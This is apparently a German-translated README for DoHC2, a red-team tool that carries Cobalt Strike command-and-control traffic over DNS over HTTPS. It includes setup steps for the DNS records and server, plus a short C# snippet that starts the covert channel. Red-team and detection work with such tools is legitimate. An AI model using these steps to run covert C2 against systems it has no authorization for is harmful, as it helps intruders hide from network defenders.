⚠️ HINWEIS: Dieses Tool wird nicht mehr aktiv gewartet.
DoHC2
DoHC2 ermöglicht die Nutzung der ExternalC2-Bibliothek von Ryan Hanson (https://github.com/ryhanson/ExternalC2) zur Befehls- und Kontrollkommunikation (C2) über DNS über HTTPS (DoH). Es wurde für die beliebte Software Cobalt Strike (https://www.cobaltstrike.com) zur Angriffssimulation und Red-Team-Operationen entwickelt.
Präsentation
Dieses Projekt wurde am 23. Oktober 2018 auf der Mitre ATT&CKcon vorgestellt.
Folien:
Playing Devil’s Advocate to Security Initiatives with ATT&CK
Blog-Artikel:
DOH! DNS Over HTTPS Poses Possible Risks to Enterprises
Diagramm

Verwendung
- Cobaltstrike-Teamserver installieren und starten.
- Einen beacon_http/beacon_https-Listener starten - Achtung Dies kann durch eine Firewall blockiert werden, aber Sie benötigen ihn, damit External C2 funktioniert.
- Skript 'external_c2.cna' laden, um ExternalC2-Port 2222 zu starten (Firewall aus).
- Abhängigkeiten für den Python3-Server installieren.
- Port 53/udp für das Internet (oder die IP-Bereiche des DoH-Anbieters) freigeben.
- Einen A-Eintrag für Ihre Domain erstellen, der auf die Teamserver-/DNS-Server-IP verweist, z.B. [A] entry.example.org -> 000.000.000.000
- Einen NS-Eintrag erstellen, der auf den A-Eintrag für den Sendekanal (INPUTDOMAIN) verweist, z.B. [NS] send.example.org -> entry.example.org.
- Einen NS-Eintrag erstellen, der auf den A-Eintrag für den Empfangskanal (OUTPUTDOMAIN) verweist, z.B. [NS] receive.example.org -> entry.example.org.
- Ändern Sie INPUTDOMAIN und OUTPUTDOMAIN in DoHC2.py. Ändern Sie den Verschlüsselungsschlüssel/IV – dieser wird verwendet, um den Pfad vom Teamserver zum Client zu verschlüsseln (nur Stager-Verschlüsselung). Ändern Sie max_records von 1 abhängig vom DoH-Anbieter, einige Anbieter sortieren zurückgegebene Datensätze um, was derzeit nicht behandelt wird. Max 5 funktioniert gut mit DNS-Server.
- Python3-DNS-Server starten.
- ExternalC2-Bibliothek erstellen. Ändern Sie den Verschlüsselungsschlüssel/IV in DoHChannel.cs, um ihn an den Python3-Server anzupassen.
- Konfigurieren und starten Sie DoHC2() wie unten gezeigt, und stellen Sie sicher, dass Sie INPUTDOMAIN, OUTPUTDOMAIN und einen DoH-Anbieter im Format 'https://resolver.example.org/dns-query' setzen.
Server
Python-DNS-Server basierend auf ACME DNS Server
- Dies verbindet rohes DNS standardmäßig mit dem Cobalt Strike Teamserver auf 127.0.0.1:2222.
- Ändern Sie INPUTDOMAIN und OUTPUTDOMAIN in Hosts, die NS der externen IP des Servers sind:
pip3 install -r requirements.txt
sudo python3 ./DoHC2.py
Bibliothek
@ryhansons ExternalC2 mit den folgenden Ergänzungen:
Beispiel-Client
- Wie der Rest von ExternalC2 ist DoHC2 COMVisible für JScript/DotNetToJS, aber dies ist ein einfaches Beispiel, um es zu initialisieren.
- Der Beispiel-Client DoHC2Runner ist ein einfaches C#-Programm, das das Laden der Bibliothek und deren Einrichtung wie folgt demonstriert:
DoHC2 doh = new DoHC2();
doh.Configure("<INPUTDOMAIN>","<OUTPUTDOMAIN>","<DoH URI i.e. https://dns.google.com/resolve or https://dns.example.org/dns-query");
doh.Go();
Autoren
Lizenz
DoHC2
Einige Elemente wurden von David Middlehurst, SpiderLabs, wie oben beschrieben erstellt
(Bitte beachten Sie die jeweiligen Lizenzen, wenn andere Open-Source-Projekte verwendet werden).
Copyright (C) 2018 Trustwave Holdings, Inc.
Dieses Programm ist freie Software: Sie können es unter den Bedingungen der GNU General Public License, wie von der Free Software Foundation veröffentlicht, weiterverbreiten und/oder modifizieren, entweder gemäß Version 3 der Lizenz oder (nach Ihrer Wahl) jeder späteren Version.
Dieses Programm wird in der Hoffnung verbreitet, dass es nützlich sein wird, aber OHNE JEDE GEWÄHRLEISTUNG; sogar ohne die stillschweigende Garantie der MARKTGÄNGIGKEIT oder EIGNUNG FÜR EINEN BESTIMMTEN ZWECK. Siehe die GNU General Public License für weitere Details.
Danksagungen
Mitwirkende